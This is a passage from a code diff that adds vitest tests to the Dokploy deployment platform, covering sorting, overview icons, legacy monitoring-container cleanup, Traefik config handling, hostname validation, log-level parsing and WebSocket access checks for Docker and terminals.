+				type: "application",
+			},
+		);
+		expect(getServiceOverviewIcon({ type: "compose", icon: null })).toEqual({
+			kind: "generic",
+			type: "compose",
+		});
+	});
+});
+
+describe("getBackupOverviewIcon", () => {
+	test("returns a db icon for a database backup with a known databaseType", () => {
+		expect(
+			getBackupOverviewIcon({
+				databaseType: "postgres",
+				serviceType: null,
+				serviceOwnerType: "postgres",
+			}),
+		).toEqual({ kind: "db", engine: "postgres" });
+	});
+
+	test("returns a webServer icon for a web-server database backup", () => {
+		expect(
+			getBackupOverviewIcon({
+				databaseType: "web-server",
+				serviceType: null,
+				serviceOwnerType: "web-server",
+			}),
+		).toEqual({ kind: "webServer" });
+	});
+
+	test("returns a db icon for a compose-type backup dumping a known DB engine", () => {
+		expect(
+			getBackupOverviewIcon({
+				databaseType: "mysql",
+				serviceType: null,
+				serviceOwnerType: "compose",
+			}),
+		).toEqual({ kind: "db", engine: "mysql" });
+	});
+
+	test("returns a db icon for a volume backup of a known DB engine service", () => {
+		expect(
+			getBackupOverviewIcon({
+				databaseType: null,
+				serviceType: "mongo",
+				serviceOwnerType: "mongo",
+			}),
+		).toEqual({ kind: "db", engine: "mongo" });
+	});
+
+	test("returns a generic application icon for a volume backup of an application", () => {
+		expect(
+			getBackupOverviewIcon({
+				databaseType: null,
+				serviceType: "application",
+				serviceOwnerType: "application",
+			}),
+		).toEqual({ kind: "generic", type: "application" });
+	});
+
+	test("returns a generic compose icon for a volume backup of a compose service", () => {
+		expect(
+			getBackupOverviewIcon({
+				databaseType: null,
+				serviceType: "compose",
+				serviceOwnerType: "compose",
+			}),
+		).toEqual({ kind: "generic", type: "compose" });
+	});
+});

apps/dokploy/__test__/services/overview-domains-sort.test.ts

@@ -0,0 +1,79 @@
+import type { OverviewDomain } from "@dokploy/server/services/overview";
+import { sortOverviewDomains } from "@dokploy/server/services/overview";
+import { describe, expect, test } from "vitest";
+
+const makeDomain = (overrides: Partial<OverviewDomain>): OverviewDomain => ({
+	domainId: "id",
+	host: "example.com",
+	path: "/",
+	port: 3000,
+	customEntrypoint: null,
+	https: true,
+	certificateType: "letsencrypt",
+	createdAt: "2024-01-01T00:00:00.000Z",
+	enabled: true,
+	domainType: "application",
+	serviceOwnerId: "app",
+	serviceOwnerType: "application",
+	serviceName: "App",
+	projectId: "project",
+	projectName: "Project",
+	environmentId: "environment",
+	environmentName: "Environment",
+	...overrides,
+});
+
+describe("sortOverviewDomains", () => {
+	test("sorts by createdAt asc/desc", () => {
+		const domains = [
+			makeDomain({ domainId: "old", createdAt: "2023-01-01T00:00:00.000Z" }),
+			makeDomain({ domainId: "new", createdAt: "2024-06-01T00:00:00.000Z" }),
+			makeDomain({ domainId: "mid", createdAt: "2023-12-01T00:00:00.000Z" }),
+		];
+
+		expect(
+			sortOverviewDomains(domains, "createdAt-asc").map((d) => d.domainId),
+		).toEqual(["old", "mid", "new"]);
+		expect(
+			sortOverviewDomains(domains, "createdAt-desc").map((d) => d.domainId),
+		).toEqual(["new", "mid", "old"]);
+	});
+
+	test("sorts by port asc/desc, with portless domains always last", () => {
+		const domains = [
+			makeDomain({ domainId: "none", port: null }),
+			makeDomain({ domainId: "low", port: 80 }),
+			makeDomain({ domainId: "high", port: 8080 }),
+		];
+
+		expect(
+			sortOverviewDomains(domains, "port-asc").map((d) => d.domainId),
+		).toEqual(["low", "high", "none"]);
+		expect(
+			sortOverviewDomains(domains, "port-desc").map((d) => d.domainId),
+		).toEqual(["high", "low", "none"]);
+	});
+
+	test("port sort with all domains portless is a no-op", () => {
+		const domains = [
+			makeDomain({ domainId: "a", port: null }),
+			makeDomain({ domainId: "b", port: null }),
+		];
+
+		expect(
+			sortOverviewDomains(domains, "port-desc").map((d) => d.domainId),
+		).toEqual(["a", "b"]);
+	});
+
+	test("does not mutate the input array", () => {
+		const domains = [
+			makeDomain({ domainId: "b", port: 8080 }),
+			makeDomain({ domainId: "a", port: 80 }),
+		];
+		const original = [...domains];
+
+		sortOverviewDomains(domains, "port-asc");
+
+		expect(domains).toEqual(original);
+	});
+});

apps/dokploy/__test__/services/overview-services-sort.test.ts

@@ -0,0 +1,106 @@
+import type { OverviewService } from "@dokploy/server/services/overview";
+import { sortOverviewServices } from "@dokploy/server/services/overview";
+import { describe, expect, test } from "vitest";
+
+const makeService = (overrides: Partial<OverviewService>): OverviewService => ({
+	id: "id",
+	type: "application",
+	name: "name",
+	appName: "app-name",
+	status: "running",
+	createdAt: "2024-01-01T00:00:00.000Z",
+	serverId: null,
+	serverName: null,
+	icon: null,
+	projectId: "project",
+	projectName: "Project",
+	environmentId: "environment",
+	environmentName: "Environment",
+	lastDeployAt: null,
+	...overrides,
+});
+
+describe("sortOverviewServices", () => {
+	test("sorts by name asc/desc", () => {
+		const services = [
+			makeService({ id: "b", name: "Bravo" }),
+			makeService({ id: "a", name: "Alpha" }),
+			makeService({ id: "c", name: "Charlie" }),
+		];
+
+		expect(sortOverviewServices(services, "name-asc").map((s) => s.id)).toEqual(
+			["a", "b", "c"],
+		);
+		expect(
+			sortOverviewServices(services, "name-desc").map((s) => s.id),
+		).toEqual(["c", "b", "a"]);
+	});
+
+	test("sorts by type asc/desc", () => {
+		const services = [
+			makeService({ id: "app", type: "application" }),
+			makeService({ id: "pg", type: "postgres" }),
+			makeService({ id: "comp", type: "compose" }),
+		];
+
+		expect(sortOverviewServices(services, "type-asc").map((s) => s.id)).toEqual(
+			["app", "comp", "pg"],
+		);
+		expect(
+			sortOverviewServices(services, "type-desc").map((s) => s.id),
+		).toEqual(["pg", "comp", "app"]);
+	});
+
+	test("sorts by createdAt asc/desc", () => {
+		const services = [
+			makeService({ id: "old", createdAt: "2023-01-01T00:00:00.000Z" }),
+			makeService({ id: "new", createdAt: "2024-06-01T00:00:00.000Z" }),
+			makeService({ id: "mid", createdAt: "2023-12-01T00:00:00.000Z" }),
+		];
+
+		expect(
+			sortOverviewServices(services, "createdAt-asc").map((s) => s.id),
+		).toEqual(["old", "mid", "new"]);
+		expect(
+			sortOverviewServices(services, "createdAt-desc").map((s) => s.id),
+		).toEqual(["new", "mid", "old"]);
+	});
+
+	test("sorts by lastDeploy asc/desc, with never-deployed services always last", () => {
+		const services = [
+			makeService({ id: "never", lastDeployAt: null }),
+			makeService({ id: "old", lastDeployAt: "2023-01-01T00:00:00.000Z" }),
+			makeService({ id: "new", lastDeployAt: "2024-06-01T00:00:00.000Z" }),
+		];
+
+		expect(
+			sortOverviewServices(services, "lastDeploy-desc").map((s) => s.id),
+		).toEqual(["new", "old", "never"]);
+		expect(
+			sortOverviewServices(services, "lastDeploy-asc").map((s) => s.id),
+		).toEqual(["old", "new", "never"]);
+	});
+
+	test("lastDeploy sort with all services never deployed is a no-op", () => {
+		const services = [
+			makeService({ id: "a", lastDeployAt: null }),
+			makeService({ id: "b", lastDeployAt: null }),
+		];
+
+		expect(
+			sortOverviewServices(services, "lastDeploy-desc").map((s) => s.id),
+		).toEqual(["a", "b"]);
+	});
+
+	test("does not mutate the input array", () => {
+		const services = [
+			makeService({ id: "b", name: "Bravo" }),
+			makeService({ id: "a", name: "Alpha" }),
+		];
+		const original = [...services];
+
+		sortOverviewServices(services, "name-asc");
+
+		expect(services).toEqual(original);
+	});
+});

apps/dokploy/__test__/setup/monitoring-setup.real.test.ts

@@ -0,0 +1,252 @@
+import { execSync } from "node:child_process";
+import { docker } from "@dokploy/server/constants";
+import { setupMonitoring } from "@dokploy/server/setup/monitoring-setup";
+import { afterAll, beforeEach, describe, expect, it, vi } from "vitest";
+
+const REAL_TEST_TIMEOUT = 120000;
+const SERVICE_NAME = "dokploy-monitoring";
+const TEST_IMAGE = "busybox:latest";
+
+// Mock ONLY db-backed lookups and remote I/O. Dockerode stays real and talks to
+// the local daemon, so the legacy-container cleanup is exercised for real.
+vi.mock("@dokploy/server/services/server", () => ({
+	findServerById: vi.fn().mockResolvedValue({
+		serverId: "test-server",
+		serverType: "deploy",
+		sshKeyId: null, // -> getRemoteDocker returns the local docker instance
+		metricsConfig: {
+			server: {
+				type: "Remote",
+				port: 4500,
+				token: "test-token",
+				urlCallback: "http://localhost/callback",
+				cronJob: "0 0 * * *",
+				retentionDays: 2,
+				refreshRate: 60,
+				thresholds: { cpu: 0, memory: 0 },
+			},
+			containers: { refreshRate: 60, services: { include: [], exclude: [] } },
+		},
+	}),
+}));
+
+vi.mock("@dokploy/server/services/settings", () => ({
+	getDokployImageTag: vi.fn(() => "latest"),
+}));
+
+vi.mock("@dokploy/server/utils/docker/utils", () => ({
+	pullImage: vi.fn().mockResolvedValue(undefined),
+	pullRemoteImage: vi.fn().mockResolvedValue(undefined),
+}));
+
+vi.mock("@dokploy/server/utils/process/execAsync", () => ({
+	execAsync: vi.fn().mockResolvedValue({ stdout: "", stderr: "" }),
+	execAsyncRemote: vi.fn().mockResolvedValue({ stdout: "", stderr: "" }),
+}));
+
+const containerExists = async (name: string) => {
+	try {
+		await docker.getContainer(name).inspect();
+		return true;
+	} catch (error: any) {
+		if (error.statusCode === 404) return false;
+		throw error;
+	}
+};
+
+const serviceExists = async (name: string) => {
+	try {
+		await docker.getService(name).inspect();
+		return true;
+	} catch (error: any) {
+		if (error.statusCode === 404) return false;
+		throw error;
+	}
+};
+
+// Swarm keeps converging a service for a bit after it's created (scheduling
+// tasks, resolving endpoints), which bumps Version.Index on its own. Calling
+// setupMonitoring again before that settles races that internal bump, so wait
+// for two consecutive reads to agree before treating the service as stable.
+const waitForServiceConvergence = async (name: string, timeoutMs = 5000) => {
+	const deadline = Date.now() + timeoutMs;
+	let lastIndex: string | null = null;
+	while (Date.now() < deadline) {
+		const inspect = await docker.getService(name).inspect();
+		if (inspect.Version.Index === lastIndex) return;
+		lastIndex = inspect.Version.Index;
+		await new Promise((resolve) => setTimeout(resolve, 50));
+	}
+};
+
+const swarmTaskNames = async () => {
+	const list = await docker.listContainers({ all: true });
+	return list
+		.flatMap((c) => c.Names.map((n) => n.replace(/^\//, "")))
+		.filter((n) => n.startsWith(`${SERVICE_NAME}.`));
+};
+
+const cleanup = async () => {
+	try {
+		await docker.getService(SERVICE_NAME).remove();
+	} catch {}
+	try {
+		await docker.getContainer(SERVICE_NAME).remove({ force: true });
+	} catch {}
+	for (const name of await swarmTaskNames()) {
+		try {
+			await docker.getContainer(name).remove({ force: true });
+		} catch {}
+	}
+};
+
+// Recreates the pre-v0.30.0 standalone agent stuck in a crash loop.
+const createLegacyZombie = async () => {
+	const container = await docker.createContainer({
+		name: SERVICE_NAME,
+		Image: TEST_IMAGE,
+		Cmd: [
+			"sh",
+			"-c",
+			"echo 'Error starting metrics cleanup system: empty spec string'; exit 1",
+		],
+		HostConfig: { RestartPolicy: { Name: "always" }, NetworkMode: "host" },
+	});
+	await container.start();
+};
+
+const pullTestImage = async () => {
+	try {
+		await docker.getImage(TEST_IMAGE).inspect();
+		return;
+	} catch {}
+	await new Promise<void>((resolve, reject) =>
+		docker.pull(TEST_IMAGE, (err: any, stream: any) =>
+			err
+				? reject(err)
+				: docker.modem.followProgress(stream, (e: any) =>
+						e ? reject(e) : resolve(),
+					),
+		),
+	);
+};
+
+// The code under test hardcodes the production name, so this suite cannot
+// namespace its fixtures. Skip rather than wipe a real agent on a Dokploy host.
+const hasRealMonitoring = () => {
+	const query = (cmd: string) => {
+		try {
+			return execSync(cmd, { stdio: ["ignore", "pipe", "ignore"] })
+				.toString()
+				.trim();
+		} catch {
+			return "";
+		}
+	};
+
+	return (
+		query(
+			`docker service ls --filter name=${SERVICE_NAME} --format '{{.Name}}'`,
+		) !== "" ||
+		query(
+			`docker ps -a --filter name=^${SERVICE_NAME}$ --format '{{.Names}}'`,
+		) !== ""
+	);
+};
+
+describe.skipIf(hasRealMonitoring())(
+	"setupMonitoring - legacy container cleanup (real docker)",
+	() => {
+		beforeEach(async () => {
+			await pullTestImage();
+			await cleanup();
+		}, REAL_TEST_TIMEOUT);
+
+		afterAll(async () => {
+			await cleanup();
+		}, REAL_TEST_TIMEOUT);
+
+		it(
+			"removes the legacy standalone container left behind by the swarm migration",
+			async () => {
+				await createLegacyZombie();
+				expect(await containerExists(SERVICE_NAME)).toBe(true);
+
+				await setupMonitoring("test-server");
+
+				expect(await containerExists(SERVICE_NAME)).toBe(false);
+				expect(await serviceExists(SERVICE_NAME)).toBe(true);
+			},
+			REAL_TEST_TIMEOUT,
+		);
+
+		it(
+			"removes the legacy container without touching swarm tasks, which are named dokploy-monitoring.<slot>.<id>",
+			async () => {
+				const taskName = `${SERVICE_NAME}.1.qh3ldvg2h9x0test`;
+				const task = await docker.createContainer({
+					name: taskName,
+					Image: TEST_IMAGE,
+					Cmd: ["sleep", "3600"],
+				});
+				await task.start();
+				await createLegacyZombie();
+
+				await setupMonitoring("test-server");
+
+				expect(await containerExists(SERVICE_NAME)).toBe(false);
+				expect(await containerExists(taskName)).toBe(true);
+				const inspect = await docker.getContainer(taskName).inspect();
+				expect(inspect.State.Running).toBe(true);
+			},
+			REAL_TEST_TIMEOUT,
+		);
+
+		it(
+			"is idempotent when no legacy container exists",
+			async () => {
+				expect(await containerExists(SERVICE_NAME)).toBe(false);
+
+				await expect(setupMonitoring("test-server")).resolves.not.toThrow();
+				await waitForServiceConvergence(SERVICE_NAME);
+				await expect(setupMonitoring("test-server")).resolves.not.toThrow();
+
+				expect(await serviceExists(SERVICE_NAME)).toBe(true);
+			},
+			REAL_TEST_TIMEOUT,
+		);
+
+		it(
+			"deploys the service even when removing the legacy container fails",
+			async () => {
+				const failingDocker = {
+					getContainer: () => ({
+						remove: async () => {
+							const error: any = new Error("device or resource busy");
+							error.statusCode = 500;
+							throw error;
+						},
+					}),
+					getService: docker.getService.bind(docker),
+					createService: docker.createService.bind(docker),
+				};
+
+				const remoteDocker = await import(
+					"@dokploy/server/utils/servers/remote-docker"
+				);
+				const spy = vi
+					.spyOn(remoteDocker, "getRemoteDocker")
+					.mockResolvedValue(failingDocker as any);
+
+				try {
+					await expect(setupMonitoring("test-server")).resolves.not.toThrow();
+					expect(spy).toHaveBeenCalled(); // guards against the spy silently not intercepting
+					expect(await serviceExists(SERVICE_NAME)).toBe(true);
+				} finally {
+					spy.mockRestore();
+				}
+			},
+			REAL_TEST_TIMEOUT,
+		);
+	},
+);

apps/dokploy/__test__/traefik/forward-auth.test.ts

@@ -35,6 +35,7 @@ const baseDomain: Domain = {
 	stripPath: false,
 	middlewares: null,
 	forwardAuthEnabled: false,
+	enabled: true,
 };
 
 describe("forwardAuthMiddlewareName", () => {

apps/dokploy/__test__/traefik/reconnect-services.test.ts

@@ -0,0 +1,71 @@
+import { reconnectServicesToTraefik } from "@dokploy/server/services/settings";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+const mocks = vi.hoisted(() => ({
+	findMany: vi.fn(),
+	execAsync: vi.fn(),
+	execAsyncRemote: vi.fn(),
+}));
+
+vi.mock("@dokploy/server/db", () => ({
+	db: {
+		query: {
+			compose: {
+				findMany: mocks.findMany,
+			},
+		},
+	},
+}));
+
+vi.mock("@dokploy/server/utils/process/execAsync", () => ({
+	execAsync: mocks.execAsync,
+	execAsyncRemote: mocks.execAsyncRemote,
+}));
+
+describe("reconnectServicesToTraefik", () => {
+	beforeEach(() => {
+		vi.clearAllMocks();
+		mocks.findMany.mockResolvedValue([]);
+	});
+
+	it("does not execute an empty local command when no isolated deployments exist", async () => {
+		await reconnectServicesToTraefik();
+
+		expect(mocks.execAsync).not.toHaveBeenCalled();
+	});
+
+	it("does not execute an empty remote command when no isolated deployments exist", async () => {
+		await reconnectServicesToTraefik("server-id");
+
+		expect(mocks.execAsyncRemote).not.toHaveBeenCalled();
+	});
+
+	it("reconnects isolated deployments to the local Traefik network", async () => {
+		mocks.findMany.mockResolvedValue([
+			{ appName: "first-compose" },
+			{ appName: "second-compose" },
+		]);
+
+		await reconnectServicesToTraefik();
+
+		expect(mocks.execAsync).toHaveBeenCalledOnce();
+		expect(mocks.execAsync).toHaveBeenCalledWith(
+			'docker network connect first-compose $(docker ps --filter "name=dokploy-traefik" -q) >/dev/null 2>&1\n' +
+				'docker network connect second-compose $(docker ps --filter "name=dokploy-traefik" -q) >/dev/null 2>&1\n',
+		);
+		expect(mocks.execAsyncRemote).not.toHaveBeenCalled();
+	});
+
+	it("reconnects isolated deployments on a remote server", async () => {
+		mocks.findMany.mockResolvedValue([{ appName: "remote-compose" }]);
+
+		await reconnectServicesToTraefik("server-id");
+
+		expect(mocks.execAsyncRemote).toHaveBeenCalledOnce();
+		expect(mocks.execAsyncRemote).toHaveBeenCalledWith(
+			"server-id",
+			'docker network connect remote-compose $(docker ps --filter "name=dokploy-traefik" -q) >/dev/null 2>&1\n',
+		);
+		expect(mocks.execAsync).not.toHaveBeenCalled();
+	});
+});

apps/dokploy/__test__/traefik/traefik.test.ts

@@ -7,6 +7,8 @@ const baseApp: ApplicationNested = {
 	rollbackActive: false,
 	applicationId: "",
 	previewLabels: [],
+	networkIds: [],
+	detachDokployNetwork: false,
 	createEnvFile: true,
 	bitbucketRepositorySlug: "",
 	herokuVersion: "",
@@ -149,6 +151,7 @@ const baseDomain: Domain = {
 	stripPath: false,
 	middlewares: null,
 	forwardAuthEnabled: false,
+	enabled: true,
 };
 
 const baseRedirect: Redirect = {

apps/dokploy/__test__/traefik/write-app-traefik-config.test.ts

@@ -0,0 +1,121 @@
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { writeAppTraefikConfig } from "@dokploy/server/utils/traefik/application";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+
+const mocks = vi.hoisted(() => ({
+	execAsyncRemote: vi.fn(),
+	writeFileRemote: vi.fn(),
+}));
+
+vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
+	const actual =
+		await importOriginal<
+			typeof import("@dokploy/server/utils/process/execAsync")
+		>();
+	return {
+		...actual,
+		execAsyncRemote: mocks.execAsyncRemote,
+		writeFileRemote: mocks.writeFileRemote,
+	};
+});
+
+describe("writeAppTraefikConfig", () => {
+	let cwd: string;
+	let dynamicPath: string;
+
+	beforeEach(() => {
+		cwd = fs.mkdtempSync(path.join(os.tmpdir(), "dokploy-traefik-"));
+		dynamicPath = path.join(cwd, ".docker", "traefik", "dynamic");
+		fs.mkdirSync(dynamicPath, { recursive: true });
+		vi.spyOn(process, "cwd").mockReturnValue(cwd);
+		vi.clearAllMocks();
+	});
+
+	afterEach(() => {
+		vi.restoreAllMocks();
+		fs.rmSync(cwd, { recursive: true, force: true });
+	});
+
+	// Regression test for #5189: Traefik's file provider rejects a standalone
+	// `routers: {}` / `services: {}` map and aborts its watcher for every
+	// dynamic config once it hits one, so an app with no domains must never
+	// get an on-disk config file at all.
+	it("removes the file instead of writing empty routers/services", async () => {
+		const appName = "no-domain-app";
+		const configPath = path.join(dynamicPath, `${appName}.yml`);
+		fs.writeFileSync(configPath, "stale content", "utf8");
+
+		await writeAppTraefikConfig(
+			{ http: { routers: {}, services: {} } },
+			appName,
+		);
+
+		expect(fs.existsSync(configPath)).toBe(false);
+	});
+
+	it("writes the file when routers/services are present", async () => {
+		const appName = "with-domain-app";
+		const configPath = path.join(dynamicPath, `${appName}.yml`);
+
+		await writeAppTraefikConfig(
+			{
+				http: {
+					routers: {
+						[`${appName}-router-1`]: {
+							rule: "Host(`x`)",
+							service: `${appName}-service`,
+						},
+					},
+					services: {},
+				},
+			},
+			appName,
+		);
+
+		expect(fs.existsSync(configPath)).toBe(true);
+	});
+
+	it("removes the remote file instead of writing empty routers/services", async () => {
+		mocks.execAsyncRemote.mockResolvedValue({ stdout: "", stderr: "" });
+
+		await writeAppTraefikConfig(
+			{ http: { routers: {}, services: {} } },
+			"no-domain-app",
+			"server-id",
+		);
+
+		expect(mocks.execAsyncRemote).toHaveBeenCalledOnce();
+		const [, command] = mocks.execAsyncRemote.mock.calls[0] ?? [];
+		expect(command).toMatch(/^rm -f /);
+		expect(command).toContain("no-domain-app.yml");
+	});
+
+	it("writes the remote file when routers/services are present", async () => {
+		mocks.writeFileRemote.mockResolvedValue(undefined);
+
+		await writeAppTraefikConfig(
+			{
+				http: {
+					routers: {
+						"with-domain-app-router-1": {
+							rule: "Host(`x`)",
+							service: "with-domain-app-service",
+						},
+					},
+					services: {},
+				},
+			},
+			"with-domain-app",
+			"server-id",
+		);
+
+		expect(mocks.writeFileRemote).toHaveBeenCalledOnce();
+		const [serverId, remotePath, content] =
+			mocks.writeFileRemote.mock.calls[0] ?? [];
+		expect(serverId).toBe("server-id");
+		expect(remotePath).toContain("with-domain-app.yml");
+		expect(content).toContain("with-domain-app-router-1");
+	});
+});

apps/dokploy/__test__/utils/hostname-validation.test.ts

@@ -9,6 +9,9 @@ describe("VALID_HOSTNAME_REGEX", () => {
 		"a.b.c.example.co",
 		"xn--80ak6aa92e.com",
 		"123.example.com",
+		"example",
+		"dokploy-server",
+		"localhost",
 	])("accepts valid hostname %s", (host) => {
 		expect(VALID_HOSTNAME_REGEX.test(host)).toBe(true);
 	});
@@ -17,7 +20,6 @@ describe("VALID_HOSTNAME_REGEX", () => {
 		"bbn_client.example.com",
 		"-example.com",
 		"example-.com",
-		"example",
 		"exa mple.com",
 		"example..com",
 		"",

apps/dokploy/__test__/utils/log-type.test.ts

@@ -0,0 +1,108 @@
+import { describe, expect, test } from "vitest";
+import { getLogType } from "@/components/dashboard/docker/logs/utils";
+
+describe("getLogType", () => {
+	describe("explicit level declared by structured loggers", () => {
+		test("JSON string levels (pino, winston, zap)", () => {
+			expect(getLogType('{"level":"trace","msg":"x"}').type).toBe("debug");
+			expect(getLogType('{"level":"debug","msg":"x"}').type).toBe("debug");
+			expect(getLogType('{"level":"info","msg":"x"}').type).toBe("info");
+			expect(getLogType('{"level":"warn","msg":"x"}').type).toBe("warning");
+			expect(getLogType('{"level":"warning","msg":"x"}').type).toBe("warning");
+			expect(getLogType('{"level":"error","msg":"x"}').type).toBe("error");
+			expect(getLogType('{"level":"fatal","msg":"x"}').type).toBe("error");
+		});
+
+		test("JSON numeric levels (pino, bunyan)", () => {
+			expect(getLogType('{"level":20,"msg":"x"}').type).toBe("debug");
+			expect(getLogType('{"level":30,"msg":"x"}').type).toBe("info");
+			expect(getLogType('{"level":40,"msg":"x"}').type).toBe("warning");
+			expect(getLogType('{"level":50,"msg":"x"}').type).toBe("error");
+			expect(getLogType('{"level":60,"msg":"x"}').type).toBe("error");
+		});
+
+		test("syslog/GELF numeric levels", () => {
+			expect(getLogType('{"level":3,"msg":"x"}').type).toBe("error");
+			expect(getLogType('{"level":4,"msg":"x"}').type).toBe("warning");
+			expect(getLogType('{"level":6,"msg":"x"}').type).toBe("info");
+			expect(getLogType('{"level":7,"msg":"x"}').type).toBe("debug");
+		});
+
+		test("GCP-style severity and ECS log.level", () => {
+			expect(getLogType('{"severity":"ERROR","message":"x"}').type).toBe(
+				"error",
+			);
+			expect(getLogType('{"severity":"WARNING","message":"x"}').type).toBe(
+				"warning",
+			);
+			expect(getLogType('{"log.level":"error","message":"x"}').type).toBe(
+				"error",
+			);
+		});
+
+		test("logfmt levels", () => {
+			expect(
+				getLogType('ts=2026-06-12T10:00:00Z level=error msg="boom"').type,
+			).toBe("error");
+			expect(
+				getLogType('ts=2026-06-12T10:00:00Z level=info msg="ok"').type,
+			).toBe("info");
+			expect(getLogType("level=warn msg=careful").type).toBe("warning");
+		});
+
+		test("declared level wins over keywords in the message (#4589, #1996)", () => {
+			// "version"/"GET" in this pino line would otherwise match the debug keywords
+			const pinoError =
+				'{"level":"error","version":"72b4450","method":"GET","path":"/api/campaigns","err":{"type":"ForbiddenError","stack":"ForbiddenError: at requireRole (/app/src/plugins/campaign.plugin.ts:166:15)"},"msg":"Forbidden"}';
+			expect(getLogType(pinoError).type).toBe("error");
+
+			// info line containing error-like keywords (#4589)
+			expect(
+				getLogType(
+					'{"level":"info","msg":"Failed to open mempool file. Continuing anyway."}',
+				).type,
+			).toBe("info");
+
+			// successful job summary with "failed: false, error: none" (#4538)
+			expect(
+				getLogType(
+					'level=info msg="Finished job, failed: false, skipped: false, error: none"',
+				).type,
+			).toBe("info");
+		});
+
+		test("declared level wins over statusCode", () => {
+			expect(getLogType('{"level":"info","statusCode":500}').type).toBe("info");
+		});
+
+		test("unknown level names fall back to keyword detection", () => {
+			expect(
+				getLogType('{"level":"verbose","msg":"connection failed"}').type,
+			).toBe("error");
+		});
+
+		test("env-var-like text is not treated as logfmt level", () => {
+			expect(getLogType("LOG_LEVEL=error NODE_ENV=production").type).not.toBe(
+				"error",
+			);
+		});
+	});
+
+	describe("fallback detection for unstructured logs (unchanged)", () => {
+		test("statusCode classification", () => {
+			expect(getLogType('{"statusCode":500,"msg":"x"}').type).toBe("error");
+			expect(getLogType('{"statusCode":404,"msg":"x"}').type).toBe("warning");
+			expect(getLogType('{"statusCode":200,"msg":"x"}').type).toBe("success");
+		});
+
+		test("keyword classification", () => {
+			expect(getLogType("error: something broke").type).toBe("error");
+			expect(getLogType("warning: disk almost full").type).toBe("warning");
+			expect(getLogType("Server listening on port 8080").type).toBe("success");
+		});
+
+		test("defaults to info", () => {
+			expect(getLogType("hello world").type).toBe("info");
+		});
+	});
+});

apps/dokploy/__test__/wss/authorize.test.ts

@@ -0,0 +1,129 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+// Mock the permission + server helpers the wss authorizer composes.
+const mockHasPermission = vi.hoisted(() => vi.fn());
+const mockFindMember = vi.hoisted(() => vi.fn());
+const mockCheckServiceAccess = vi.hoisted(() => vi.fn());
+vi.mock("@dokploy/server/services/permission", () => ({
+	hasPermission: mockHasPermission,
+	findMemberByUserId: mockFindMember,
+	checkServiceAccess: mockCheckServiceAccess,
+}));
+
+const mockGetAccessibleServerIds = vi.hoisted(() => vi.fn());
+vi.mock("@dokploy/server", () => ({
+	getAccessibleServerIds: mockGetAccessibleServerIds,
+}));
+
+import {
+	canAccessDockerOverWss,
+	canAccessTerminalOverWss,
+} from "@/server/wss/authorize";
+
+const USER = { id: "user-1" };
+const SESSION = { activeOrganizationId: "org-1" };
+
+beforeEach(() => {
+	vi.clearAllMocks();
+});
+
+describe("canAccessDockerOverWss", () => {
+	it("denies when there is no user or session", async () => {
+		expect(await canAccessDockerOverWss(null, SESSION)).toBe(false);
+		expect(await canAccessDockerOverWss(USER, null)).toBe(false);
+	});
+
+	it("denies a member without docker permission", async () => {
+		mockHasPermission.mockResolvedValue(false);
+		expect(await canAccessDockerOverWss(USER, SESSION)).toBe(false);
+	});
+
+	it("allows when the caller has docker permission (no server)", async () => {
+		mockHasPermission.mockResolvedValue(true);
+		expect(await canAccessDockerOverWss(USER, SESSION)).toBe(true);
+	});
+
+	it("denies a remote server the caller cannot access, even with docker permission", async () => {
+		mockHasPermission.mockResolvedValue(true);
+		mockGetAccessibleServerIds.mockResolvedValue(new Set(["other-server"]));
+		expect(await canAccessDockerOverWss(USER, SESSION, "srv-1")).toBe(false);
+	});
+
+	it("allows a remote server the caller can access", async () => {
+		mockHasPermission.mockResolvedValue(true);
+		mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
+		expect(await canAccessDockerOverWss(USER, SESSION, "srv-1")).toBe(true);
+	});
+
+	it("denies when the container belongs to a service the caller cannot access", async () => {
+		mockCheckServiceAccess.mockRejectedValue(new Error("no access"));
+		expect(await canAccessDockerOverWss(USER, SESSION, null, "svc-1")).toBe(
+			false,
+		);
+	});
+
+	it("allows service access even without docker permission or server access", async () => {
+		// A member granted the service but without canAccessToDocker, whose
+		// service runs on a server they were not individually granted, must still
+		// read its logs — matches application.readLogs (service access only).
+		mockHasPermission.mockResolvedValue(false);
+		mockGetAccessibleServerIds.mockResolvedValue(new Set());
+		mockCheckServiceAccess.mockResolvedValue(undefined);
+		expect(
+			await canAccessDockerOverWss(USER, SESSION, "srv-remote", "svc-1"),
+		).toBe(true);
+		// Service path is authoritative — it must not fall through to docker/server.
+		expect(mockHasPermission).not.toHaveBeenCalled();
+		expect(mockGetAccessibleServerIds).not.toHaveBeenCalled();
+	});
+});
+
+describe("canAccessTerminalOverWss", () => {
+	it("denies the local host terminal to a plain member", async () => {
+		mockFindMember.mockResolvedValue({ role: "member" });
+		expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(false);
+	});
+
+	it("allows the local host terminal to an owner", async () => {
+		mockFindMember.mockResolvedValue({ role: "owner" });
+		expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(true);
+	});
+
+	it("allows the local host terminal to an admin", async () => {
+		mockFindMember.mockResolvedValue({ role: "admin" });
+		expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(true);
+	});
+
+	it("gates a remote server terminal on server access", async () => {
+		mockHasPermission.mockResolvedValue(true);
+		mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
+		expect(await canAccessTerminalOverWss(USER, SESSION, "srv-1")).toBe(true);
+		expect(await canAccessTerminalOverWss(USER, SESSION, "srv-2")).toBe(false);
+		// the remote path must never fall through to the owner/admin local branch
+		expect(mockFindMember).not.toHaveBeenCalled();
+	});
+
+	it("denies a remote server terminal without the server.terminal permission", async () => {
+		// Reaching a server (to deploy on it) must not imply a root shell on it.
+		mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
+		mockHasPermission.mockResolvedValue(false);
+		expect(await canAccessTerminalOverWss(USER, SESSION, "srv-1")).toBe(false);
+		expect(mockHasPermission).toHaveBeenCalledWith(
+			{ user: { id: USER.id }, session: { activeOrganizationId: "org-1" } },
+			{ server: ["terminal"] },
+		);
+	});
+
+	it("allows a remote server terminal with the server.terminal permission", async () => {
+		mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
+		mockHasPermission.mockResolvedValue(true);
